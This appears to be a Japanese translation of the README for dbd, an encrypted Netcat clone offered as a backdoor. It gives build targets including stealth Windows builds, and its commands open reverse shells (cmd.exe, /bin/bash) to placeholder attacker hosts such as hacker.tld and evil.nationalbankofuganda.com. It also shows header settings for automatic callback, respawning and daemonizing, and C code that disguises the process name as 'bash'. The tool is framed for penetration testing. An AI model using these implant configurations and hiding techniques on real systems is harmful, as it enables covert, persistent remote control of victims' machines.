
Durandalのバックドア
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
dbd は Netcat クローンであり、ポータブル性と強力な暗号化を提供するように設計されています。Unix 系オペレーティングシステムおよび Microsoft Win32 上で動作します。dbd は AES-CBC-128 + HMAC-SHA1 暗号化 (Christophe Devine による)、プログラム実行 (-e オプション)、送信元ポートの選択、遅延付きの継続的再接続、その他いくつかの便利な機能を備えています。dbd は TCP/IP 通信のみをサポートします。ソースコードとバイナリは GNU General Public License のもとで配布されています。
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - ネイティブ Win32 コンソールアプリ (Cygwin + MinGW 使用)
make win32bg - ネイティブ Win32 非コンソールアプリを作成 (Cygwin + MinGW 使用)
make win32bg CFLAGS=-DSTEALTH - ステルスな非コンソールアプリ
make mingw - ネイティブ Win32 コンソールアプリ (MinGW MSYS 使用)
make mingwbg - ネイティブ Win32 非コンソールアプリ (MinGW MSYS 使用)
make mingwbg CFLAGS=-DSTEALTH - ステルスな非コンソールアプリ (MinGW MSYS 使用)
make cygwin - Cygwin コンソールアプリ
make darwin - Darwin
クロスコンパイルオプション:
make mingw-cross - Win32 クロスコンパイル (i586-mingw32msvc-gcc)
make mingwbg-cross - Win32 非コンソールクロスコンパイル (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - ステルスな Win32 クロスコンパイル
make unix CROSS_COMPILE=<path/to/toolchain-> - 任意のアーキテクチャ向けクロスコンパイル
tarball を作成する (コンパイル済みファイルをまず binaries/ に移動):
make dist - ソースファイル、readme、binaries/ を含む tarball を作成
Unix 系オペレーティングシステムで dbd をコンパイルするには、gcc と関連する開発ツールが必要です。Linux、FreeBSD、NetBSD、OpenBSD (およびおそらくその他) では、次のように入力します:
$ make unix
SunOS/Solaris では、次のように入力します:
$ make sunos
Microsoft Windows (NT/2K/XP/2K3) で dbd をコンパイルするには、MinGW+MSYS、またはフル開発サポート付きの Cygwin (Cygwin の MinGW gcc) が必要です。Cygwin でネイティブ Win32 dbd コンソールアプリケーションをコンパイルするには、次のように入力します:
$ make win32
または、MSYS では:
$ make mingw
Cygwin で非コンソール ("WinMain") アプリケーションをコンパイルするには、次のように入力します:
$ make win32bg
または、MSYS では:
$ make mingwbg
Cygwin 固有のコンソールアプリケーションをコンパイルするには、次のように入力します:
$ make cygwin
dbd のデフォルトの動作を変更したい場合があります。最も重要なことの 1 つは、デフォルトの共有秘密鍵を独自のパスフレーズに変更することです。dbd.h を編集し、希望する設定に置き換えてください。たとえば、dbd がオプションなしで起動された場合に接続するホスト + ポートをハードコードすることもできます。完全な例が dbd.h に記載されています。
少し想像力を働かせれば、dbd はさまざまな用途に使用できます:
2 つのネットワーク間でファイルを安全に転送するには dbd を使用します:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
または Win32 から:
C:\somedir>type input.fil | dbd -k secret snafu 12345
シンプルな (しかし安全な) チャットとして dbd を使用:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
ペネトレーションテストのバックドアとして dbd を使用:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
または Unix 系 OS では:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
コマンドラインオプションを使用する代わりに、dbd.h 内の #define を使用して変数をハードコードできます。これを行うには、使用したい変数を名前付き定数として設定し、通常通りコンパイルします。たとえば、"evil.nationalbankofuganda.com" のポート 995 にコールバックし、"/bin/bash" を実行する dbd 実行可能ファイルをハードコードする場合は、次のように実行します:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
または、ハードコードされた #define を使用するには、dbd.h を編集します:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
また、リスポーンとステルスオプションを設定して接続を維持することもできます:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
これにより、接続がデーモン化 (マルウェア用語で「メルト」) され、STDOUT に出力を送信せず、リスナーから切断された場合に 15 分ごとに接続を再試行するようになります。
ここからが面白い部分です。バックドアにオプションをハードコードする達人になったら、おそらく最も楽しい名前付き定数である CLOAK を使用できます。これを行うには、単に値を設定します:
#define CLOAK 1
注: これは現在 *nix コンパイルでのみ機能します。将来的には Win32 のプロセス移行/フックを追加して、それらのターゲットもロミュランの愛を感じられるようにする予定です。
*nix 環境では、このオプションは argv[0] を消去し、"bash\0" という文字列に置き換えます。また、他のすべての argv[] も消去します (ps が "bash -e /bin/bash someremotehost.com 443" を返すのは馬鹿げていますよね?) 言うまでもなく、このオプションは DBD.H に変数をハードコードしている場合にのみ使用できます。また、自分のシステムでこれをテストする場合、適切な pid をキルするのは楽しいでしょう。;)
このスクラバーは、あなたが取り組んでいるどんなものにも自由に使用してください:
//名前付き定数を取得
int cloak = CLOAK;
//クローキングデバイスを起動
if(cloak)
{
#ifdef WIN32
//スタブ
#else
//argv[0] を bash に変更
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
キャッシュされた入力 (コマンドを含むファイルなど) をリスニング中の "dbd -e" セッションに渡さないでください。"dbd -e" はパイプを使用して、実行中のプログラムと dbd の間でデータを渡しています。パイプとソケット間の暗号化のために、プレーンなパススルー重複ファイル記述子ではなくパイプが使用されています。パイプの書き込み側がプロセス全体をブロックするのを防ぐために、非ブロッキング記述子にしました。-e プログラムに一度に大量の入力を渡すと、パイプバッファ (OS 内) がすべてのデータを保持できないため、データが切り捨てられる (途切れる) 可能性があります。この問題は、たとえば dbd をマルチスレッド化することで解決できますが、互換性の理由から当面は回避します。
dbd は他のツール/フレームワークと相互運用できるように設計されているため、make では mingw32-gcc ツールチェーンがインストールされた Linux システムでの Win32 クロスコンパイルが可能になりました。これらのオプションは、選択したビルドの後に "-cross" が追加されることを除いて、Windows ネイティブのものとほぼ同じです。例:
$ make mingw-cross
は、Linux システム上で、mingw/msys がインストールされた Win32 システム上で
$ make mingw
が行うのと同じことを行います。
現在、すべてのクロスコンパイルオプションは Kali Linux を念頭に置いて構築されていますが、少し調整すればどの *nix でも動作するはずです。mingw32-gcc がインストールされていて make がビルドできない場合は、Makefile の先頭にある WCC 変数を編集し、mingw32-gcc バイナリへのパスを指定してください。
dbd-1.5 以降では、任意のクロスビルドツールチェーンを使用して dbd をコンパイルできます。その場合は、CROSS_COMPILE としてツールチェーンのプレフィックスを設定します。たとえば、arm バージョンのビルドは次のように簡単に行えます:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
dbd をエクスプロイトフレームワークと統合したい場合は、ターゲットに固有の設定オプションを持つカスタム dbd.h を生成するモジュールを作成できます。このファイルで明示的に #define されていないものはすべてデフォルト値が使用されるため、ヘッダーにすべてを記述する必要はありません。例: dbd.h を削除し、次のように置き換えます:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
次に、make を呼び出して、evil.nationalbankofuganda.com 上でリスニング中の dbd エージェントにコールバックする、自動接続ペイロードをクローキングとリスポーン付きでビルドします。リスニングエージェントのオプション:
$ dbd -l -p 995 -k customcrypto
もう 1 つの高度なトリックは、dietlibc または uClibc を使用して dbd をコンパイルすることです。dietlibc Linux dbd エージェントをコンパイルするには、次を使用します:
$ make unix CROSS_COMPILE="diet -Os "
文字列内の s の後のスペースに注意してください。これにより、Makefile が標準の CFLAGS と LDFLAGS で gcc を追加し、エージェントが正しくビルドされるようになります。dietlibc を使用する利点は、ターゲット環境向けに非常に小さな 100% 静的実行可能ファイル (パッキング前の Linux dbd エージェントで約 70K、標準の glibc と gcc -static での 700K+ に対して) が生成されることです。uClibc の使用はさらに簡単で、CROSS_COMPILE の下でツールチェーンのクロスビルドプレフィックスを設定するだけです。
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]
このプログラムはフリーソフトウェアです。あなたはこれを、フリーソフトウェア財団によって発行された GNU General Public License のバージョン 2、または (あなたの選択で) それ以降のバージョンの条件の下で再頒布または改変することができます。
このプログラムは有用であることを願って配布されていますが、いかなる保証もありません。商品性または特定目的への適合性についての暗黙の保証も含め、いかなる保証もありません。詳細については GNU General Public License を参照してください。
あなたはこのプログラムと共に GNU General Public License のコピーを受け取っているはずです。受け取っていない場合は、Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA に連絡してください。
dbd の AES-CBC-128 + HMAC-SHA1 実装は Copyright (C) Christophe Devine [email protected] であり、GNU General Public License (GPL) のもとで配布されています。
一部のコード (doexec_win32.h 用) は、Netcat の Win32 ポート (C) Weld Pond および hobbit の doexec.c から派生したものです。doexec.c の一部は Copyright (C) 1994 Nathaniel W. Mishkin です (doexec.c コードは元々 rlogind.exe から派生したものです)。
Netcat のオリジナルバージョンは hobbit [email protected] によって書かれました。NT バージョンは Weld Pond [email protected] によって作成されました。
(C) Kyle Barnthouse [email protected]
セキュリティコンサルタント
gitbrew.org
Hephaestus Security